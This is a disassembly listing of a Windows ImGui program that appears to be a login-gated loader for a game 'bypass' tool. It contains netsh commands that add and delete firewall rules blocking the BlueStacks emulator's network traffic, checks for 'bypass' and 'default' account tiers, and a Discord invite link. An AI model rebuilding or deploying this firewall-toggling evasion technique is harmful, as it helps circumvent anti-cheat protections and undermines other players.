call qword [sym.imp.USER32.dll_GetWindowRect]
lea rcx, [rbp + 0x230]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov rcx, qword [0x140263950]
mov rax, qword [rcx + 0x3ef0]
mov byte [rax + 0xb8], r13b
movss xmm1, dword [0x140289824]
mov rax, qword [rcx + 0x3ef0]
movss xmm0, dword [0x140289820]
movss dword [rbp + 0x2a4], xmm1
movss xmm1, dword [0x14028982c]
mulss xmm1, dword [rcx + 0x37f0]
lea rcx, [rbp + 0x2a0]
mov r10, qword [rax + 0x298]
movss dword [rbp + 0x2a0], xmm0
movss xmm0, dword [0x140289828]
movss dword [rbp + 0x2ac], xmm1
movss dword [rbp + 0x2a8], xmm0
call fcn.1400048f0
movss xmm0, dword [0x14019a108]
lea r8, [rbp + 0x220]
movss xmm1, dword [0x14019a10c]
lea rdx, [rbp + 0x228]
movss dword [rbp + 0x220], xmm0
mov r9d, eax
movss xmm0, dword [0x1401830c8]
mov rcx, r10
mov dword [rsp + 0x28], esi
movss dword [rsp + 0x20], xmm0
movss dword [rbp + 0x224], xmm1
mov qword [rbp + 0x228], 0
call fcn.140023ca0
movd xmm1, dword [0x1402639ac]
lea r8, [rbp + 0x330]
movd xmm0, dword [0x1402639a8]
lea rdx, [rbp + 0x340]
movd xmm3, dword [rbp + 0x234]
movd xmm2, dword [rbp + 0x230]
cvtdq2ps xmm2, xmm2
cvtdq2ps xmm1, xmm1
cvtdq2ps xmm0, xmm0
cvtdq2ps xmm3, xmm3
unpcklps xmm0, xmm1
unpcklps xmm2, xmm3
movsd qword [rbp + 0x330], xmm0
movsd qword [rbp + 0x340], xmm2
movss dword [rbp + 0x338], xmm13
movss dword [rbp + 0x348], xmm13
call fcn.1400498d0
mov rdx, qword [0x140263950]
mov rax, qword [rdx + 0x3ef0]
mov byte [rax + 0xb8], r13b
mov rcx, qword [rdx + 0x3ef0]
mov rax, qword [rcx + 0x298]
mov edi, dword [rax + 0x20]
mov byte [rcx + 0xb8], r13b
mov rax, qword [rdx + 0x3ef0]
movss xmm0, dword [0x140289820]
movss xmm1, dword [0x140289824]
movss dword [rbp + 0x2b0], xmm0
mov r10, qword [rax + 0x298]
movss dword [rbp + 0x2b4], xmm1
movss xmm1, dword [0x14028982c]
lea rcx, [rbp + 0x2b0]
mulss xmm1, dword [rdx + 0x37f0]
movss xmm0, dword [0x140289828]
movss dword [rbp + 0x2b8], xmm0
movss dword [rbp + 0x2bc], xmm1
call fcn.1400048f0
movss xmm0, dword [0x14019a108]
lea r8, [rbp + 0x238]
movss xmm1, dword [0x14019a10c]
lea rdx, [rbp + 0x240]
movss dword [rbp + 0x238], xmm0
mov r9d, eax
movss xmm0, dword [0x140183084]
mov rcx, r10
movss dword [rsp + 0x30], xmm0
movss xmm0, dword [0x1401830c8]
movss dword [rsp + 0x20], xmm0
movss dword [rbp + 0x23c], xmm1
mov dword [rbp + 0x240], 0x3f800000
mov dword [rbp + 0x244], 0x3f800000
call fcn.140023bc0
movdqa xmm0, xmmword [0x1401836d0]
lea rcx, [rbp - 0x70]
movups xmmword [rbp - 0x70], xmm0
call fcn.1400048f0
movss xmm1, dword [0x140289804]
lea rcx, [rbp + 0x2c0]
movss xmm0, dword [0x140289800]
mov r10d, eax
mov rbx, qword [0x140263950]
movss dword [rbp + 0x2c4], xmm1
movss xmm1, dword [0x14028980c]
movss dword [rbp + 0x2c0], xmm0
mulss xmm1, dword [rbx + 0x37f0]
movss xmm0, dword [0x140289808]
movss dword [rbp + 0x2c8], xmm0
movss dword [rbp + 0x2cc], xmm1
call fcn.1400048f0
mov rcx, qword [rbx + 0x3ef0]
mov r9d, eax
movss xmm1, dword [0x14019a10c]
mov edx, edi
movss xmm6, dword [0x14019a108]
mulss xmm1, xmm9
movaps xmm0, xmm6
mov byte [rcx + 0xb8], r13b
mov rcx, qword [rbx + 0x3ef0]
mov dword [rsp + 0x30], r10d
mov dword [rsp + 0x28], r9d
mulss xmm0, xmm9
mov rax, qword [rcx + 0x298]
unpcklps xmm0, xmm1
movaps xmm1, xmm14
mov r8d, dword [rax + 0x20]
mov byte [rcx + 0xb8], r13b
mov rax, qword [rbx + 0x3ef0]
unpcklps xmm1, xmm14
movq r9, xmm1
movsd qword [rsp + 0x20], xmm0
mov rcx, qword [rax + 0x298]
call fcn.140026230
mov rax, qword [rbx + 0x3ef0]
subss xmm6, dword [0x140183104]
mov byte [rax + 0xb8], r13b
mov rax, qword [rbx + 0x3ef0]
movss xmm1, dword [rax + 0x20]
movss xmm0, dword [rax + 0x24]
subss xmm1, dword [rax + 0x84]
subss xmm0, dword [rax + 0x88]
mov byte [rax + 0x141], r13b
addss xmm1, xmm6
addss xmm0, dword [0x1401830c8]
movss dword [rax + 0x100], xmm1
movss dword [rax + 0x104], xmm0
call fcn.1400162c0
lea rdx, [rbp + 0x260]
mov dword [rbp + 0x260], 0x41c80000
lea rcx, [0x140145348]
mov dword [rbp + 0x264], 0x41c80000
call fcn.140031bc0
test al, al
je 0x140044773
mov rcx, qword [0x140263998]
mov edx, 6
call qword [sym.imp.USER32.dll_ShowWindow]
movaps xmm1, xmm11
movaps xmm0, xmm13
call fcn.140016000
lea rcx, [0x140145344]
mov dword [rbp + 0x268], 0x41c80000
lea rdx, [rbp + 0x268]
mov dword [rbp + 0x26c], 0x41c80000
call fcn.140031bc0
test al, al
je 0x1400447be
mov rcx, qword [0x140263998]
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
movzx r14d, r13b
call fcn.140016410
mov eax, dword [0x140289320]
mov edi, dword [0x140263980]
cmp edi, eax
jne 0x1400447d9
movaps xmm6, xmm14
jmp 0x1400447dd
movaps xmm6, xmm11
mov rbx, qword [0x140263950]
test rbx, rbx
jne 0x140044816
mov r8d, 0xfff
lea rdx, str.C:UsersCheetosPicturesTodoDeus___copia___copiaimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov eax, dword [0x140289320]
mov rbx, qword [0x140263950]
mov edi, dword [0x140263980]
movss xmm8, dword [rbx + 0x18]
movaps xmm0, xmm8
mulss xmm0, dword [0x14018309c]
mulss xmm0, xmm6
addss xmm0, dword [0x14028931c]
comiss xmm13, xmm0
jbe 0x140044840
movaps xmm6, xmm13
jmp 0x140044848
movaps xmm6, xmm14
minss xmm6, xmm0
movss dword [0x14028931c], xmm6
cmp edi, eax
jne 0x14004485a
movaps xmm7, xmm14
jmp 0x14004485e
movaps xmm7, xmm11
movss xmm0, dword [0x140183130]
call sub.api_ms_win_crt_math_l1_1_0.dll_roundf
mulss xmm0, xmm8
mulss xmm0, xmm7
addss xmm0, dword [0x140289974]
comiss xmm13, xmm0
jbe 0x140044888
movaps xmm1, xmm13
jmp 0x140044890
movaps xmm1, xmm14
minss xmm1, xmm0
ucomiss xmm6, xmm13
movss dword [0x140289974], xmm1
jp 0x1400448ae
jne 0x1400448ae
ucomiss xmm1, xmm13
jp 0x1400448ae
jne 0x1400448ae
mov dword [0x140289320], edi
movss xmm0, dword [rbx + 0x37f0]
lea rcx, [rbx + 0x4848]
mulss xmm6, dword [rbx + 0x37f0]
lea rdx, [rbp + 0x20]
mov dword [rbp + 0x20], esi
movss dword [rbp + 0x24], xmm0
call fcn.14001ebf0
mov eax, dword [0x140289320]
movss dword [rbx + 0x37f0], xmm6
test eax, eax
jne 0x14004509f
mov rcx, qword [0x140263a48]
mov rdi, qword [0x140263950]
mov rbx, rcx
mov qword [rbp - 0x70], rcx
test rcx, rcx
jne 0x140044940
mov rcx, qword [rdi + 0x68]
test rcx, rcx
jne 0x140044939
mov rbx, qword [rdi + 0x58]
cmp dword [rbx + 0x58], ecx
jg 0x140044932
mov r8d, 0x702
lea rdx, str.C:UsersCheetosPicturesTodoDeus___copia___copiaimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x60]
mov rcx, qword [rax]
mov qword [rbp - 0x70], rcx
mov rbx, rcx
call fcn.140012390
lea rcx, [rdi + 0x4858]
lea rdx, [rbp - 0x70]
call fcn.14001ef50
mov rdx, qword [rbx + 0x40]
mov rcx, qword [rdi + 0x3ef0]
mov rdx, qword [rdx + 8]
mov rcx, qword [rcx + 0x298]
call fcn.140021490
mov rcx, qword [0x140263950]
lea rbx, str.Inicia_Sesion
movss xmm3, dword [0x140183158]
lea rdx, [rbp + 0x270]
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rbx
movss xmm2, dword [rcx + 0x3c40]
mov rcx, qword [rcx + 0x3c38]
movss dword [rsp + 0x20], xmm11
call fcn.14002a470
movss xmm0, dword [rbp + 0x270]
lea rcx, [rbp + 0x2d0]
addss xmm0, dword [0x140183068]
mov dword [rbp + 0x30], 0x42a00000
cvttss2si eax, xmm0
movss xmm0, dword [0x14019a108]
mulss xmm0, xmm9
movd xmm1, eax
mov rax, qword [0x140263950]
cvtdq2ps xmm1, xmm1
movss xmm2, dword [rax + 0x37f0]
movss dword [rbp + 0x270], xmm1
mulss xmm1, xmm9
subss xmm0, xmm1
movss xmm1, dword [0x1402897c4]
movss dword [rbp + 0x2d4], xmm1
movss xmm1, dword [0x140289744]
movss dword [rbp + 0x2e4], xmm1
movss dword [rbp + 0x2c], xmm0
movss xmm0, dword [0x1402897c0]
movss dword [rbp + 0x2d0], xmm0
movss xmm0, dword [0x1402897c8]
movss dword [rbp + 0x2d8], xmm0
movaps xmm0, xmm2
mulss xmm0, dword [0x1402897cc]
mulss xmm2, dword [0x14028974c]
movss dword [rbp + 0x2dc], xmm0
movss xmm0, dword [0x140289740]
movss dword [rbp + 0x2e0], xmm0
movss xmm0, dword [0x140289748]
movss dword [rbp + 0x2e8], xmm0
movss dword [rbp + 0x2ec], xmm2
call fcn.1400048f0
lea rcx, [rbp + 0x2e0]
mov r8d, eax
call fcn.1400048f0
movss xmm3, dword [0x140183104]
mov edx, eax
lea rax, [rbp + 0x2c]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.1400318e0
call fcn.1400124c0
mov rcx, qword [0x140263950]
test rcx, rcx
jne 0x140044af1
mov r8d, 0xb89
lea rdx, str.C:UsersCheetosPicturesTodoDeus___copia___copiaimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rcx, qword [0x140263950]
movss xmm0, dword [rcx + 0x3840]
mov rax, qword [rcx + 0x3ef0]
movss xmm2, dword [0x14019a10c]
movss xmm3, dword [0x14019a108]
mulss xmm0, xmm9
mov byte [rax + 0xb8], r13b
mov rax, qword [rcx + 0x3ef0]
mulss xmm2, xmm9
mulss xmm3, xmm9
movss xmm1, dword [rax + 0x20]
subss xmm1, dword [rax + 0x84]
subss xmm2, dword [0x1401830f8]
subss xmm3, xmm10
subss xmm2, xmm0
movss xmm0, dword [rax + 0x24]
subss xmm0, dword [rax + 0x88]
addss xmm1, xmm3
mov byte [rax + 0x141], r13b
addss xmm0, xmm2
movss dword [rax + 0x100], xmm1
movss dword [rax + 0x104], xmm0
call fcn.1400162c0
mov qword [rsp + 0x38], rsi
lea rax, [rbp + 0x34]
mov qword [rsp + 0x30], rsi
lea r8, [0x140263a18]
mov dword [rsp + 0x28], esi
lea rdx, str.Login
mov r9d, reloc.WS2_32.dll_recv
mov qword [rsp + 0x20], rax
lea rcx, [0x140182da8]
mov dword [rbp + 0x34], 0x438c0000
mov dword [rbp + 0x38], 0x420c0000
call fcn.140035e40
mov qword [rsp + 0x38], rsi
lea rax, [rbp + 0x3c]
mov qword [rsp + 0x30], rsi
lea r8, [0x1402639f8]
mov dword [rsp + 0x28], 0x8000
lea rdx, str.Password
mov r9d, reloc.WS2_32.dll_recv
mov qword [rsp + 0x20], rax
lea rcx, [0x140182dbc]
mov dword [rbp + 0x3c], 0x438c0000
mov dword [rbp + 0x40], 0x420c0000
call fcn.140035e40
mov qword [rsp + 0x38], rsi
lea rax, [rbp + 0x44]
mov qword [rsp + 0x30], rsi
lea r8, [0x1402639c0]
mov dword [rsp + 0x28], esi
lea rdx, [0x140180784]
mov r9d, reloc.WLDAP32.dll_Ordinal_50
mov qword [rsp + 0x20], rax
lea rcx, [0x140182dc0]
mov dword [rbp + 0x44], 0x438c0000
mov dword [rbp + 0x48], 0x420c0000
call fcn.140035e40
lea rdx, [rbp + 0x4c]
mov dword [rbp + 0x4c], 0x43020000
lea rcx, str.Launch
mov dword [rbp + 0x50], 0x420c0000
call fcn.140031340
test al, al
je 0x140044dd0
lea rdx, [0x1402639f8]
lea rcx, [rsp + 0x60]
call fcn.14003a2f0
lea rdx, [0x140263a18]
mov rbx, rax
lea rcx, [rbp - 0x70]
call fcn.14003a2f0
mov r8, rbx
lea rcx, [0x140284c60]
mov rdx, rax
call fcn.1400bfca0
cmp byte [0x140284e78], 0
jne 0x140044cbf
mov dword [0x140263980], esi
jmp 0x140044dd0
mov rbx, qword [0x140284e40]
mov rdi, qword [0x140284e48]
cmp rbx, rdi
je 0x140044dd0
nop word [rax + rax]
mov rdx, rbx
lea rcx, [rbp + 0x4f0]
call fcn.140048250
mov rdx, qword [rbp + 0x508]
lea rax, [rbp + 0x4f0]
mov rcx, qword [rbp + 0x4f0]
cmp rdx, 0xf
mov r8, qword [rbp + 0x500]
cmova rax, rcx
cmp r8, 8
jne 0x140044d2a
cmp qword [rax], r15
jne 0x140044d2a
mov dword [0x140263980], 5
jmp 0x140044d90
cmp rdx, 0xf
lea rax, [rbp + 0x4f0]
cmova rax, rcx
cmp r8, 7
jne 0x140044d61
cmp dword [rax], 0x61666564
jne 0x140044d61
cmp word [rax + 4], 0x6c75
jne 0x140044d61
cmp byte [rax + 6], 0x74
jne 0x140044d61
mov dword [0x140263980], 8
jmp 0x140044d90
cmp rdx, 0xf
lea rax, [rbp + 0x4f0]
cmova rax, rcx
cmp r8, 6
jne 0x140044d90
cmp dword [rax], 0x61707962
jne 0x140044d90
cmp word [rax + 4], 0x7373
jne 0x140044d90
mov dword [0x140263980], 2
cmp rdx, 0xf
jbe 0x140044dc3
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140044dbe
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400479f4
call fcn.14011487c
add rbx, 0x20
cmp rbx, rdi
jne 0x140044ce0
movaps xmm1, xmm11
movaps xmm0, xmm13
call fcn.140016000
lea rcx, [0x140180784]
mov dword [rbp + 0x54], 0x43020000
lea rdx, [rbp + 0x54]
mov dword [rbp + 0x58], 0x420c0000
call fcn.140031340
test al, al
je 0x140044f70
lea rdx, [0x1402639c0]
lea rcx, [rsp + 0x60]
call fcn.14003a2f0
lea rdx, [0x1402639f8]
mov rdi, rax
lea rcx, [rbp - 0x70]
call fcn.14003a2f0
lea rdx, [0x140263a18]
mov rbx, rax
lea rcx, [rbp + 0x278]
call fcn.14003a2f0
mov r9, rdi
lea rcx, [0x140284c60]
mov r8, rbx
mov rdx, rax
call fcn.1400c1fe0
cmp byte [0x140284e78], 0
je 0x140044f70
mov rbx, qword [0x140284e40]
mov rdi, qword [0x140284e48]
cmp rbx, rdi
je 0x140044f70
nop word [rax + rax]
mov rdx, rbx
lea rcx, [rbp + 0x510]
call fcn.140048250
mov rdx, qword [rbp + 0x528]
lea rax, [rbp + 0x510]
mov rcx, qword [rbp + 0x510]
cmp rdx, 0xf
mov r8, qword [rbp + 0x520]
cmova rax, rcx
cmp r8, 8
jne 0x140044eca
cmp qword [rax], r15
jne 0x140044eca
mov dword [0x140263980], 5
jmp 0x140044f30
cmp rdx, 0xf
lea rax, [rbp + 0x510]
cmova rax, rcx
cmp r8, 7
jne 0x140044f01
cmp dword [rax], 0x61666564
jne 0x140044f01
cmp word [rax + 4], 0x6c75
jne 0x140044f01
cmp byte [rax + 6], 0x74
jne 0x140044f01
mov dword [0x140263980], 8
jmp 0x140044f30
cmp rdx, 0xf
lea rax, [rbp + 0x510]
cmova rax, rcx
cmp r8, 6
jne 0x140044f30
cmp dword [rax], 0x61707962
jne 0x140044f30
cmp word [rax + 4], 0x7373
jne 0x140044f30
mov dword [0x140263980], 2
cmp rdx, 0xf
jbe 0x140044f63
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140044f5e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400479f4
call fcn.14011487c
add rbx, 0x20
cmp rbx, rdi
jne 0x140044e80
call fcn.140016410
mov rcx, qword [0x140263950]
movss xmm3, dword [0x14019a108]
movss xmm2, dword [0x14019a10c]
subss xmm2, dword [0x140183100]
mov rax, qword [rcx + 0x3ef0]
mulss xmm3, xmm9
mov byte [rax + 0xb8], r13b
mov rax, qword [rcx + 0x3ef0]
subss xmm3, dword [0x1401830ec]
movss xmm1, dword [rax + 0x20]
movss xmm0, dword [rax + 0x24]
subss xmm1, dword [rax + 0x84]
subss xmm0, dword [rax + 0x88]
subss xmm3, xmm15
mov byte [rax + 0x141], r13b
addss xmm0, xmm2
addss xmm1, xmm3
movss dword [rax + 0x104], xmm0
movss dword [rax + 0x100], xmm1
call fcn.1400162c0
lea rdx, [rbp + 0x5c]
mov dword [rbp + 0x5c], 0x420c0000
lea rcx, [0x14014534c]
mov dword [rbp + 0x60], 0x420c0000
call fcn.140031bc0
test al, al
je 0x140045041
mov dword [rsp + 0x28], 5
lea r8, str.https:__discord.gg_gSNuAttx
xor r9d, r9d
mov qword [rsp + 0x20], rsi
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
movaps xmm1, xmm15
movaps xmm0, xmm13
call fcn.140016000
lea rcx, [0x140145350]
mov dword [rbp + 0x64], 0x420c0000
lea rdx, [rbp + 0x64]
mov dword [rbp + 0x68], 0x420c0000
call fcn.140031bc0
test al, al
je 0x1400477ea
mov dword [rsp + 0x28], 5
lea r8, str.https:__discord.gg_gSNuAttx
xor r9d, r9d
mov qword [rsp + 0x20], rsi
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x1400477ea
cmp eax, r13d
jne 0x1400451a7
movss xmm1, dword [0x140289804]
lea rcx, [rbp + 0x2f0]
movss xmm0, dword [0x140289800]
mov rax, qword [0x140263950]
movss dword [rbp + 0x2f4], xmm1
movss xmm1, dword [0x14028980c]
movss dword [rbp + 0x2f0], xmm0
mulss xmm1, dword [rax + 0x37f0]
mov qword [rbp + 0x6c], 0
movss xmm0, dword [0x140289808]
movss dword [rbp + 0x2f8], xmm0
movss dword [rbp + 0x2fc], xmm1
mov dword [rbp + 0x74], 0x3f800000
mov dword [rbp + 0x78], 0x3f800000
mov dword [rbp + 0x7c], 0x42b40000
mov dword [rbp + 0x80], 0x42b40000
call fcn.1400048f0
movss xmm0, dword [0x14018301c]
lea r9, [rbp + 0x6c]
mov rcx, qword [0x140263a40]
lea r8, [rbp + 0x74]
movss dword [rsp + 0x28], xmm0
lea rdx, [rbp + 0x7c]
mov dword [rsp + 0x20], eax
call fcn.140032de0
mov rax, qword [0x140263950]
test rax, rax
jne 0x140045181
mov r8d, 0xfff
lea rdx, str.C:UsersCheetosPicturesTodoDeus___copia___copiaimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140263950]
movss xmm1, dword [0x140263994]
movss xmm0, dword [rax + 0x18]
mulss xmm0, dword [0x1401830ac]
addss xmm1, xmm0
movss dword [0x140263994], xmm1
jmp 0x1400477ef
cmp eax, 2
jne 0x14004612e
mov rcx, qword [0x140263950]
mov rax, qword [rcx + 0x3ef0]
mov byte [rax + 0xb8], r13b
mov rax, qword [rcx + 0x3ef0]
movss xmm1, dword [rax + 0x24]
movss xmm0, dword [rax + 0x20]
subss xmm1, dword [rax + 0x88]
subss xmm0, dword [rax + 0x84]
mov byte [rax + 0x141], r13b
addss xmm1, dword [0x1401830bc]
addss xmm0, xmm12
movss dword [rax + 0x104], xmm1
movss dword [rax + 0x100], xmm0
call fcn.1400162c0
lea rdx, [rbp + 0x84]
mov dword [rbp + 0x84], 0x420c0000
lea rcx, [0x140145350]
mov dword [rbp + 0x88], 0x420c0000
call fcn.140031bc0
test al, al
je 0x140045f2e
cmp byte [0x140263949], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x650], xmm0
mov qword [rbp + 0x660], rsi
mov qword [rbp + 0x668], rsi
je 0x1400455e7
mov ecx, reloc.WS2_32.dll_WSASetLastError
call fcn.140114530
movaps xmm0, xmmword [str.netsh_advfirewall_firewall_delete_rule_nameall_program_C:Program_FilesBlueStacks_nxtHD_Player.exe_]
lea rdx, str.netsh_advfirewall_firewall_delete_rule_nameall_program_C:ProgramDataBlueStacks_msi5HD_Player.exe_
mov qword [rbp + 0x650], rax
mov rcx, rax
mov qword [rbp + 0x660], WSAGetLastError
mov qword [rbp + 0x668], reloc.WS2_32.dll_WSAGetLastError
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x1401825e0]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x1401825f0]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x140182600]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x140182610]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x140182620]
movups xmmword [rax + 0x50], xmm1
mov eax, dword [0x140182630]
mov dword [rcx + 0x60], eax
movzx eax, word [0x140182634]
mov word [rcx + 0x64], ax
movzx eax, byte [0x140182636]
mov byte [rcx + 0x66], al
mov byte [rcx + 0x67], 0
lea rcx, [rbp + 0x670]
call fcn.14003a2f0
lea rdx, str.netsh_advfirewall_firewall_delete_rule_nameall_program_C:Program_FilesBlueStacksHD_Player.exe_
lea rcx, [rbp + 0x690]
call fcn.14003a2f0
xorps xmm0, xmm0
mov qword [rbp + 0x6c0], rsi
mov ecx, reloc.WS2_32.dll_WSASetLastError
mov qword [rbp + 0x6c8], rsi
movups xmmword [rbp + 0x6b0], xmm0
call fcn.140114530
movaps xmm0, xmmword [str.netsh_advfirewall_firewall_delete_rule_nameall_program_C:Program_FilesBlueStacks_msi2HD_Player.exe_]
mov ecx, 0x80
mov qword [rbp + 0x6b0], rax
mov qword [rbp + 0x6c0], WSAGetLastError
mov qword [rbp + 0x6c8], reloc.WS2_32.dll_WSAGetLastError
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x140182730]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x140182740]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x140182750]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x140182760]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x140182770]
movups xmmword [rax + 0x50], xmm1
movsd xmm0, qword [0x140182780]
xorps xmm1, xmm1
movsd qword [rax + 0x60], xmm0
mov byte [rax + 0x68], 0
movups xmmword [rbp + 0x6d0], xmm1
mov qword [rbp + 0x6e0], rsi
mov qword [rbp + 0x6e8], rsi
call fcn.140114530
movaps xmm0, xmmword [str.netsh_advfirewall_firewall_delete_rule_name_TemporaryBlockMSI5_In__program_C:Program_FilesBlueStacks_msi5HD_Player.exe_]
mov rcx, rax
mov qword [rbp + 0x6d0], rax
mov qword [rbp + 0x6e0], 0x7c
mov qword [rbp + 0x6e8], 0x7f
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x1401827a0]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x1401827b0]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x1401827c0]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x1401827d0]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x1401827e0]
movups xmmword [rax + 0x50], xmm1
movaps xmm0, xmmword [0x1401827f0]
movups xmmword [rax + 0x60], xmm0
movsd xmm0, qword [0x140182800]
movsd qword [rax + 0x70], xmm0
mov eax, dword [0x140182808]
xorps xmm0, xmm0
mov dword [rcx + 0x78], eax
mov byte [rcx + 0x7c], 0
mov ecx, 0x80
movups xmmword [rbp + 0x6f0], xmm0
mov qword [rbp + 0x700], rsi
mov qword [rbp + 0x708], rsi
call fcn.140114530
movaps xmm0, xmmword [str.netsh_advfirewall_firewall_delete_rule_name_TemporaryBlockMSI5_Out__program_C:Program_FilesBlueStacks_msi5HD_Player.exe_]
lea rdx, [rbp - 0x70]
mov qword [rbp + 0x6f0], rax
mov rcx, rax
mov qword [rbp + 0x700], 0x7d
mov qword [rbp + 0x708], 0x7f
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x140182820]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x140182830]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x140182840]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x140182850]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x140182860]
movups xmmword [rax + 0x50], xmm1
movaps xmm0, xmmword [0x140182870]
movups xmmword [rax + 0x60], xmm0
movsd xmm0, qword [0x140182880]
movsd qword [rax + 0x70], xmm0
mov eax, dword [0x140182888]
mov dword [rcx + 0x78], eax
movzx eax, byte [0x14018288c]
mov byte [rcx + 0x7c], al
lea rax, [rbp + 0x650]
mov qword [rbp + 0x530], rax
lea rax, [rbp + 0x710]
mov qword [rbp + 0x538], rax
movaps xmm0, xmmword [rbp + 0x530]
mov byte [rcx + 0x7d], 0
lea rcx, [rsp + 0x60]
movdqa xmmword [rbp - 0x70], xmm0
call fcn.140047fa0
lea r9, [fcn.14003a290]
mov edx, reloc.WLDAP32.dll_Ordinal_32
mov r8d, 6
lea rcx, [rbp + 0x650]
call fcn.14011456c
mov rdi, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x60]
cmp rbx, rdi
je 0x140045575
mov rcx, rbx
call fcn.140040c50
add rbx, 0x20
cmp rbx, rdi
jne 0x140045564
lea r9, str.Internet_Activado
xor edx, edx
mov r8d, 0xbb8
lea rcx, [rbp + 0x650]
call fcn.14003e390
mov rax, qword [0x140289980]
cmp rax, qword [0x140289988]
je 0x1400455cc
mov r8d, 0x2010
lea rdx, [rbp + 0x650]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
add qword [0x140289980], 0x2010
mov byte [0x140263949], 0
jmp 0x140045f24
lea r8, [rbp + 0x650]
mov rdx, rax
call fcn.1400492b0
mov byte [0x140263949], 0
jmp 0x140045f24
mov ecx, 0xa0
call fcn.140114530
movaps xmm0, xmmword [str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock0__dirin_actionblock_profileany_program_C:Program_FilesBlueStacks_nxtHD_Player.exe_]
mov rcx, rax
mov qword [rbp + 0x650], rax
mov qword [rbp + 0x660], __WSAFDIsSet
mov qword [rbp + 0x668], 0x9f
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x140181f20]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x140181f30]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x140181f40]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x140181f50]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x140181f60]
movups xmmword [rax + 0x50], xmm1
movaps xmm0, xmmword [0x140181f70]
movups xmmword [rax + 0x60], xmm0
movaps xmm1, xmmword [0x140181f80]
movups xmmword [rax + 0x70], xmm1
movaps xmm0, xmmword [0x140181f90]
movups xmmword [rax + 0x80], xmm0
movzx eax, word [0x140181fa0]
mov word [rcx + 0x90], ax
xorps xmm0, xmm0
mov byte [rcx + 0x92], 0
mov ecx, 0xa0
movups xmmword [rbp + 0x670], xmm0
mov qword [rbp + 0x680], rsi
mov qword [rbp + 0x688], rsi
call fcn.140114530
movaps xmm0, xmmword [str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock0__dirout_actionblock_profileany_program_C:Program_FilesBlueStacks_nxtHD_Player.exe_]
mov rcx, rax
mov qword [rbp + 0x670], rax
mov qword [rbp + 0x680], __WSAFDIsSet
mov qword [rbp + 0x688], 0x9f
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x140181fc0]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x140181fd0]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x140181fe0]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x140181ff0]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x140182000]
movups xmmword [rax + 0x50], xmm1
movaps xmm0, xmmword [0x140182010]
movups xmmword [rax + 0x60], xmm0
movaps xmm1, xmmword [0x140182020]
movups xmmword [rax + 0x70], xmm1
movaps xmm0, xmmword [0x140182030]
movups xmmword [rax + 0x80], xmm0
movzx eax, word [0x140182040]
mov word [rcx + 0x90], ax
xorps xmm0, xmm0
movzx eax, byte [0x140182042]
mov byte [rcx + 0x92], al
mov byte [rcx + 0x93], 0
mov ecx, 0xa0
movups xmmword [rbp + 0x690], xmm0
mov qword [rbp + 0x6a0], rsi
mov qword [rbp + 0x6a8], rsi
call fcn.140114530
